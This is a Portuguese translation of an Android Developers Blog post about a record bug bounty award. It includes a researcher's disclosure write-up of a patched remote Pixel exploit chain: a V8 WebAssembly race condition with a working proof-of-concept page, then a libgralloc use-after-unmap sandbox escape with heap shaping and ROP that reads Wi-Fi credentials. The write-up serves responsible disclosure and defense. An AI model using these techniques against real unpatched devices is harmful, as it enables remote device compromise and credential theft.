Android

1 fev, 2018

Investimentos em ecossistemas de segurança para Android pagam dividendos para a Pixel

Publicidade

Artigo de Mayank Jain e Scott Roberts, publicado originalmente pelo Android Developers Blog. A tradução foi feita pela Redação iMasters com autorização.

***

Em junho de 2017, a equipe de segurança do Android aumentou os principais pagamentos para o programa de Recompensa de Segurança do Android (ASR) e trabalhou com pesquisadores para agilizar o processo de submissão de explorações. Em agosto de 2017, Guang Gong (@oldfresher) da Alpha Team, Qihoo 360 Technology Co. Ltd. apresentou a primeira cadeia de exploração remota de trabalho desde a expansão do programa ASR.

Por seu relatório detalhado, Gong foi premiado com US $ 105.000, que é a maior recompensa na história do programa ASR e $ 7500 pelo programa de Recompensas do Chrome com um total de US $ 112.500. O conjunto completo de problemas foi resolvido como parte da atualização de segurança mensal de dezembro de 2017. Os dispositivos com o nível de patch de segurança de 05/12/2017 ou posterior estão protegidos contra esses problemas.

Todos os dispositivos Pixel ou dispositivos parceiros que usam atualizações do sistema A/B (integrado) irão instalar essas atualizações automaticamente; os usuários devem reiniciar seus dispositivos para concluir a instalação.

A equipe de Segurança do Android gostaria de agradecer especialmente a Guang Gong e a comunidade de pesquisadores por suas contribuições para a segurança do Android. Se você quiser participar do programa de Recompensas em Segurança do Android, consulte as nossas regras do Programa. Para obter dicas sobre como enviar relatórios, consulte a Universidade Bug Hunter.

O seguinte artigo é uma postagem convidada no blog por Guang Gong da equipe Alpha, Qihoo 360 Technology Ltd.

Detalhes técnicos de uma cadeia de exploração remota do Pixel

O celular Pixel está protegido por muitas camadas de segurança. Foi o único dispositivo que não foi pwned na competição Mobile Pwn2Own de 2017. Mas em agosto de 2017, minha equipe descobriu uma cadeia de exploração remota – a primeira de seu tipo desde a expansão do programa ASR. Graças à equipe de segurança do Android por sua capacidade de resposta e ajuda durante o processo de submissão.

Esta publicação do blog abrange os detalhes técnicos da cadeia de exploração. A cadeia de exploração inclui dois erros, CVE-2017-5116 e CVE-2017-14904. CVE-2017-5116 é um erro de mecanismo V8 que é usado para obter a execução remota de código no processo de renderização do sandboxed Chrome. CVE-2017-14904 é um erro no módulo libgralloc do Android que é usado para escapar da sandbox do Chrome. Também, esta cadeia de exploração pode ser usada para injetar código arbitrário no system_server acessando um URL mal-intencionado no Chrome. Para reproduzir a exploração, um exemplo de ambiente vulnerável é Chrome 60.3112.107 + Android 7.1.2 (nível de patch de segurança 2017-8-05) (google / sailfish / sailfish: 7.1.2 / NJH47F / 4146041: user / release-keys) .

O erro RCE (CVE-2017-5116)

Novos recursos geralmente trazem consigo novos erros. O V8 6.0 apresenta suporte para SharedArrayBuffer, um mecanismo de baixo nível para compartilhar memória entre os trabalhadores do JavaScript e sincronizar o fluxo de controle entre os trabalhadores. SharedArrayBuffers dão acesso de JavaScript a memória compartilhada, atomics e futexes.

O WebAssembly é um novo tipo de código que pode ser executado em navegadores modernos: é um linguagem similar a assembly de baixo nível com um formato binário compacto que é executado com desempenho quase nativo e fornece linguagens, como C / C ++, com um alvo de compilação para que eles possam ser executados na web.

Ao combinar os três recursos, SharedArrayBuffer WebAssembly e o trabalhador da Web no Chrome, um acesso OOB pode ser ativado através de uma condição de corrida. Falando de maneira simples, o código WebAssembly pode ser colocado em SharedArrayBuffer e depois transferido para um trabalhador da Web. Quando o thread principal analisa o código WebAssembly, o thread de trabalho pode modificar o código ao mesmo tempo, o que causa um acesso OOB.

O código com erro está na função GetFirstArgumentAsBytes onde o argumento args pode ser um objeto ArrayBuffer ou TypedArray. Depois que SharedArrayBuffer é importado para JavaScript, um TypedArray pode ser suportado por um SharedArraybuffer, portanto, o conteúdo do TypedArray pode ser modificado por outros thread de trabalho a qualquer momento.

i::wasm::ModuleWireBytes GetFirstArgumentAsBytes(
    const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) {
  ......
  } else if (source->IsTypedArray()) {    //--->source should be checked if it's backed by a SharedArrayBuffer
    // A TypedArray was passed.
    Local<TypedArray> array = Local<TypedArray>::Cast(source);
    Local<ArrayBuffer> buffer = array->Buffer();
    ArrayBuffer::Contents contents = buffer->GetContents();
    start =
        reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset();
    length = array->ByteLength();
  } 
  ......
  return i::wasm::ModuleWireBytes(start, start + length);
}

Um PoC simples é da seguinte maneira:

<html>
<h1>poc</h1>
<script id="worker1">
worker:{
       self.onmessage = function(arg) {
        console.log("worker started");
        var ta = new Uint8Array(arg.data);
        var i =0;
        while(1){
            if(i==0){
                i=1;
                ta[51]=0;   //--->4)modify the webassembly code at the same time
            }else{
                i=0;
                ta[51]=128;
            }
        }
    }
}
</script>
<script>
function getSharedTypedArray(){
    var wasmarr = [
        0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
        0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03,
        0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e,
        0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65,
        0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01,
        0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b,
        0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b];
    var sb = new SharedArrayBuffer(wasmarr.length);           //---> 1)put WebAssembly code in a SharedArrayBuffer
    var sta = new Uint8Array(sb);
    for(var i=0;i<sta.length;i++)
        sta[i]=wasmarr[i];
    return sta;    
}
var blob = new Blob([
        document.querySelector('#worker1').textContent
        ], { type: "text/javascript" })

var worker = new Worker(window.URL.createObjectURL(blob));   //---> 2)create a web worker
var sta = getSharedTypedArray();
worker.postMessage(sta.buffer);                              //--->3)pass the WebAssembly code to the web worker
setTimeout(function(){
        while(1){
        try{
        sta[51]=0;
        var myModule = new WebAssembly.Module(sta);          //--->4)parse the WebAssembly code
        var myInstance = new WebAssembly.Instance(myModule);
        //myInstance.exports.getAnswerPlus1();
        }catch(e){
        }
        }
    },1000);

//worker.terminate(); 
</script>
</html>

O formato de texto do código WebAssembly é da seguinte forma:

00002b func[0]:
00002d: 41 2a                      | i32.const 42
00002f: 0b                         | end
000030 func[1]:
000032: 10 00                      | call 0
000034: 41 01                      | i32.const 1
000036: 6a                         | i32.add
000037: 0b                         | end

Primeiro, o código de WebAssembly de formato binário acima é colocado em SharedArrayBuffer, então um Objeto TypedArray é criado, usando o SharedArrayBuffer como buffer. Depois disso, um thread de trabalho é criado e o SharedArrayBuffer é passado para o thread de trabalho recém-criado.

Enquanto o thread principal está analisando o Código WebAssembly, o thread de trabalho modifica o SharedArrayBuffer ao mesmo tempo. Sob esta circunstância, uma condição de corrida causa um problema TOCTOU. Após a verificação vinculada do thread principal, a instrução “chamada 0” pode ser modificada pelo thread de trabalho para “chamada 128” e, em seguida, ser analisada e compilada pelo thread principal, de modo que ocorra um acesso OOB.

Como as instruções de “chamada 0” da Web Assembly podem ser modificadas para chamar outras funções da Web Assembly, a exploração deste erro é direta. Se “chamada 0” for modificada para “chamada $leak”, os registros e o conteúdo da pilha serão despejados para a memória da Web Assembly. Como a função 0 e a função $leak têm um número diferente de argumentos, isso resulta em muitos dados úteis na pilha vazada/revelada.

(func $leak(param i32 i32 i32 i32 i32 i32)(result i32)
    i32.const 0
    get_local 0
    i32.store
    i32.const 4
    get_local 1
    i32.store
    i32.const 8
    get_local 2
    i32.store
    i32.const 12
    get_local 3
    i32.store
    i32.const 16
    get_local 4
    i32.store
    i32.const 20
    get_local 5
    i32.store
    i32.const 0
  ))

Não somente a instrução “chamada 0” pode ser modificada, qualquer instrução “chamar funcx” pode ser modificada. Assume funcx é uma função wasm com 6 argumentos como segue, quando v8 compila funcx na arquitetura ia32, os 5 primeiros argumentos são passados através dos registros e o sexto argumento é passado através da pilha. Todos os argumentos podem ser definidos para qualquer valor pelo JavaScript:

/*Text format of funcx*/
 (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32)
    get_local 5
    get_local 4
    i32.add)

/*Disassembly code of funcx*/
--- Code ---
kind = WASM_FUNCTION
name = wasm#1
compiler = turbofan
Instructions (size = 20)
0x58f87600     0  8b442404       mov eax,[esp+0x4]
0x58f87604     4  03c6           add eax,esi
0x58f87606     6  c20400         ret 0x4
0x58f87609     9  0f1f00         nop

Safepoints (size = 8)

RelocInfo (size = 0)

--- End code ---

Quando uma função JavaScript chama uma função WebAssembly, o compilador v8 cria uma função JS_TO_WASM internamente, após a compilação, a função JavaScript chamará a função JS_TO_WASM criada e, em seguida, a função JS_TO_WASM criada chamará a função WebAssembly. As funções JS_TO_WASM usam diferentes convenções de chamadas, seus primeiros argumentos são passados através da pilha. Se “chamada funcx” for modificada para chamar a seguinte função JS_TO_WASM.

/*Disassembly code of JS_TO_WASM function */
--- Code ---
kind = JS_TO_WASM_FUNCTION
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 170)
0x4be08f20     0  55             push ebp
0x4be08f21     1  89e5           mov ebp,esp
0x4be08f23     3  56             push esi
0x4be08f24     4  57             push edi
0x4be08f25     5  83ec08         sub esp,0x8
0x4be08f28     8  8b4508         mov eax,[ebp+0x8]
0x4be08f2b     b  e8702e2bde     call 0x2a0bbda0  (ToNumber)    ;; code: BUILTIN
0x4be08f30    10  a801           test al,0x1
0x4be08f32    12  0f852a000000   jnz 0x4be08f62  <+0x42>

A função JS_TO_WASM levará os sextos argumentos do funcx como seu primeiro argumento, mas ele leva seu primeiro argumento como ponteiro de objeto, então a confusão de tipo será acionada quando o argumento for passado para a função ToNumber, o que significa que podemos passar qualquer valor como um ponteiro de objeto para a função ToNumber. Então, podemos falsificar um objeto ArrayBuffer em algum endereço, como em uma matriz dupla e passar o endereço para o ToNumber. O layout de um ArrayBuffer é o seguinte:

/* ArrayBuffer layouts 40 Bytes*/                                                                                                                         
Map                                                                                                                                                       
Properties                                                                                                                                                
Elements                                                                                                                                                  
ByteLength                                                                                                                                                
BackingStore                                                                                                                                              
AllocationBase                                                                                                                                            
AllocationLength                                                                                                                                          
Fields                                                                                                                                                    
internal                                                                                                                                                  
internal                                                                                                                                                                                                                                                                                                      


/* Map layouts 44 Bytes*/                                                                                                                                   
static kMapOffset = 0,                                                                                                                                    
static kInstanceSizesOffset = 4,                                                                                                                          
static kInstanceAttributesOffset = 8,                                                                                                                     
static kBitField3Offset = 12,                                                                                                                             
static kPrototypeOffset = 16,                                                                                                                             
static kConstructorOrBackPointerOffset = 20,                                                                                                              
static kTransitionsOrPrototypeInfoOffset = 24,                                                                                                            
static kDescriptorsOffset = 28,                                                                                                                           
static kLayoutDescriptorOffset = 1,                                                                                                                       
static kCodeCacheOffset = 32,                                                                                                                             
static kDependentCodeOffset = 36,                                                                                                                         
static kWeakCellCacheOffset = 40,                                                                                                                         
static kPointerFieldsBeginOffset = 16,                                                                                                                    
static kPointerFieldsEndOffset = 44,                                                                                                                      
static kInstanceSizeOffset = 4,                                                                                                                           
static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5,                                                                                           
static kUnusedOffset = 6,                                                                                                                                 
static kVisitorIdOffset = 7,                                                                                                                              
static kInstanceTypeOffset = 8,     //one byte                                                                                                            
static kBitFieldOffset = 9,                                                                                                                               
static kInstanceTypeAndBitFieldOffset = 8,                                                                                                                
static kBitField2Offset = 10,                                                                                                                             
static kUnusedPropertyFieldsOffset = 11

Como o conteúdo da pilha pode ser vazado, podemos obter muitos dados úteis para falsificar o ArrayBuffer. Por exemplo, podemos vazar o endereço de início de um objeto e calcular o endereço de início de seus elementos, que é um objeto FixedArray. Podemos usar este objeto FixedArray como os campos de propriedades e elementos do ArrayBuffer falsificados. Nós temos que falsificar o mapa do ArrayBuffer também, felizmente, a maioria dos campos do mapa não são usados ​​quando o erro é desencadeado.

Mas o InstanceType no offset 8 deve ser definido como 0xc3 (esse valor depende da versão do v8) para indicar que este objeto é um ArrayBuffer. Para obter uma referência do ArrayBuffer falsificado em JavaScript, temos que configurar o campo Protótipo do Mapa no offset 16 para um objeto cuja propriedade Symbol.toPrimitive é uma função de retorno de chamada JavaScript. Quando o buffer de matriz falsificado é passado para a função ToNumber, para converter o objeto ArrayBuffer em um Número, a função de retorno de chamada será chamada, para que possamos obter uma referência do ArrayBuffer falsificado na função de retorno de chamada.

Como o ArrayBuffer é falsificado em uma matriz dupla, o conteúdo da matriz pode ser configurado para qualquer valor, então podemos alterar o campo BackingStore e ByteLength do buffer de matriz falsificado para obter memória arbitrária lida e escrita. Com leitura/escrita de memória arbitrária, executar shellcode é simples. Como o Código JIT no Chrome é passível de leitura, escrita e execução, podemos sobrescrevê-lo para executar shellcode.
A equipe do Chrome corrigiu este erro muito rapidamente no Chrome 61.0.3163.79, apenas uma semana após eu enviar a exploração.

O Erro EoP (CVE-2017-14904)

O erro de escape do sandbox é causado pelo descompasso do mapa e do não mapa, o que causa um problema Use-After-Unmap. O código de erro está nas funções gralloc_map e gralloc_unmap:

static int gralloc_map(gralloc_module_t const* module,
                       buffer_handle_t handle)
{ ……
    private_handle_t* hnd = (private_handle_t*)handle;
    ……
    if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) &&
        !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) {
        size = hnd->size;
        err = memalloc->map_buffer(&mappedAddress, size,
                                       hnd->offset, hnd->fd);        //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process.
        if(err || mappedAddress == MAP_FAILED) {
            ALOGE("Could not mmap handle %p, fd=%d (%s)",
                  handle, hnd->fd, strerror(errno));
            return -errno;
        }
        hnd->base = uint64_t(mappedAddress) + hnd->offset;          //---> save mappedAddress+offset to hnd->base
    } else {
        err = -EACCES;
}
……
    return err;
}

Gralloc_map mapeia um buffer gráfico controlado pelo operador de argumentos para o espaço da memória e gralloc_unmap o desfaz. Durante o mapeamento, o mapa mappedAddress mais o hnd->offset é armazenado em hnd->base, mas enquanto não mapeado, hnd->base é passada para chamada de sistema não mapeada diretamente menos o offset. hnd-> offset pode ser manipulada a partir do processo de sandbox do Chrome, por isso é possível desmapear todas as páginas no system_server do processo de renderização em sandbox do Chrome.

static int gralloc_unmap(gralloc_module_t const* module,
                         buffer_handle_t handle)
{
  ……
    if(hnd->base) {
        err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset);    //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched.
        if (err) {
            ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base,
                    strerror(errno));
            return -errno;
        }
        hnd->base = 0;
}
……
    return 0;
}

int IonAlloc::unmap_buffer(void *base, unsigned int size,
        unsigned int /*offset*/)                              
//---> look, offset is not used by unmap_buffer
{
    int err = 0;
    if(munmap(base, size)) {
        err = -errno;
        ALOGE("ion: Failed to unmap memory at %p : %s",
              base, strerror(errno));
    }
    return err;
}

Embora o SeLinux restrinja o domínio isolated_app para acessar a maior parte do serviço do sistema Android, o isolated_app ainda pode acessar três serviços do sistema Android.

52neverallow isolated_app {
53    service_manager_type
54    -activity_service
55    -display_service
56    -webviewupdate_service
57}:service_manager find;

Para desencadear o erro de Use-After-Unmap acima mencionado do sandbox do Chrome, primeiro coloque um objeto GraphicBuffer, que é analisável em um pacote e, em seguida, chame o método vinculador convertToTranslucent de IActivityManager para passar o pacote malicioso para system_server. Quando o system_server lida com esse pacote malicioso, o erro é acionado.

Este erro EoP aciona a mesma superfície de ataque que o erro em nossa apresentação MoSec de 2016, Uma Maneira de Quebrar o Sandbox do Chrome no Android. Também é semelhante ao Bitunmap, exceto por explorá-lo a partir de um processo de renderização do sandboxed do Chrome, é mais difícil que de um aplicativo.

Para explorar este erro EoP:

1 – Formação do espaço de endereçamento. Faça com que o layout do espaço de endereço seja como se segue, um pedaço amontoado está bem acima de algum mapeamento contínuo de ashmem:

7f54600000-7f54800000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f58000000-7f54a00000 rw-s 001fe000 00:04 32783         /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781         /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779         /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777         /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775         /dev/ashmem/360alpha25 (deleted)
......

2 – Desmapeie parte do heap (1 KB) e parte de uma memória de ashmem (2MB-1KB) desencadeando o erro:

7f54400000-7f54600000 rw-s 00000000 00:04 31603         /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
//--->There is a 2MB memory gap
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

3 – Preencha o espaço não mapeado com uma memória de ashmem:

7f54400000-7f54600000 rw-s 00000000 00:04 31603      /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0         [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605       /dev/ashmem/360alpha1001 (deleted)  
//--->The gap is filled with the ashmem memory 360alpha1001
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783      /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781      /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779      /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777      /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775      /dev/ashmem/360alpha25 (deleted)

4 – Pulverizar o heap e os dados do heap que serão gravados na memória ashmem:

7f54400000-7f54600000 rw-s 00000000 00:04 31603        /dev/ashmem/360alpha1000 (deleted)
7f54600000-7f547ff000 rw-p 00000000 00:00 0           [anon:libc_malloc]
7f547ff000-7f549ff000 rw-s 00000000 00:04 31605          /dev/ashmem/360alpha1001 (deleted)
//--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory
7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783        /dev/ashmem/360alpha29 (deleted)
7f54a00000-7f54c00000 rw-s 00000000 00:04 32781        /dev/ashmem/360alpha28 (deleted)
7f54c00000-7f54e00000 rw-s 00000000 00:04 32779        /dev/ashmem/360alpha27 (deleted)
7f54e00000-7f55000000 rw-s 00000000 00:04 32777        /dev/ashmem/360alpha26 (deleted)
7f55000000-7f55200000 rw-s 00000000 00:04 32775        /dev/ashmem/360alpha25 (deleted)

5 – Uma vez que o ashmem preenchido na etapa 3 é mapeado tanto pelo system_server como pelo processo de renderização, parte do heap do system_server pode ser lida e escrita pelo processo de renderização e podemos desencadear o system_server para alocar algum objeto GraphicBuffer no ashmem. Como GraphicBuffer é herdado de ANativeWindowBuffer, que tem um membro chamado common cujo tipo é android_native_base_t, podemos ler dois pontos de função (incRef e decRef) da memória ashmem e, em seguida, podemos calcular o endereço base do módulo libui. No último dispositivo Pixel, o processo de renderização do Chrome ainda é um processo de 32 bits, mas o system_serveré um processo de 64 bits. Então, temos que vazar o endereço de base do módulo para ROP. Agora que temos o endereço de base do libui, o último passo é desencadear ROP. Infelizmente, parece que os pontos incRef e decRef não foram utilizados. É impossível modificá-lo para saltar para ROP, mas podemos modificar a tabela virtual do GraphicBuffer para desencadear ROP.

typedef struct android_native_base_t
{
    /* a magic value defined by the actual EGL native type */
    int magic;

    /* the sizeof() of the actual EGL native type */
    int version;

    void* reserved[4];

    /* reference-counting interface */
    void (*incRef)(struct android_native_base_t* base);
    void (*decRef)(struct android_native_base_t* base);
} android_native_base_t;

6 – Desencadear um GC para executar ROP

Quando um objeto GraphicBuffer é desconstruído, a função virtual onLastStrongRef é chamada, para que possamos substituir essa função virtual para saltar para ROP. Quando ocorre GC, o fluxo de controle passa para ROP. Encontrar uma cadeia ROP em módulo limitado (libui) é um desafio, mas depois de um trabalho árduo, encontramos uma com sucesso e descartamos o conteúdo do arquivo em /data/misc/wifi/wpa_supplicant.conf.

Resumo

A equipe de segurança do Android respondeu rapidamente ao nosso relatório e incluiu a correção para esses dois erros na Atualização de Segurança de dezembro de 2017. O dispositivo suportado do Google e dispositivos com o nível de patch de segurança de 05/12/2017 ou posterior abordam esses problemas.

Embora a análise de parcelas não confiáveis ainda ocorra em locais sensíveis, a equipe de segurança do Android está trabalhando no fortalecimento da plataforma para mitigar contra vulnerabilidades semelhantes.

O erro EoP foi descoberto graças a um esforço conjunto entre 360 Alpha Team e 360 C0RE Team. Muito obrigado pelo esforço deles.

***

Este artigo é do Android Developers Blog. Ele foi escrito por Mayank Jain e Scott Roberts. A tradução foi feita pela Redação iMasters com autorização. Você pode acessar o original em: https://android-developers.googleblog.com/2018/01/android-security-ecosystem-investments.html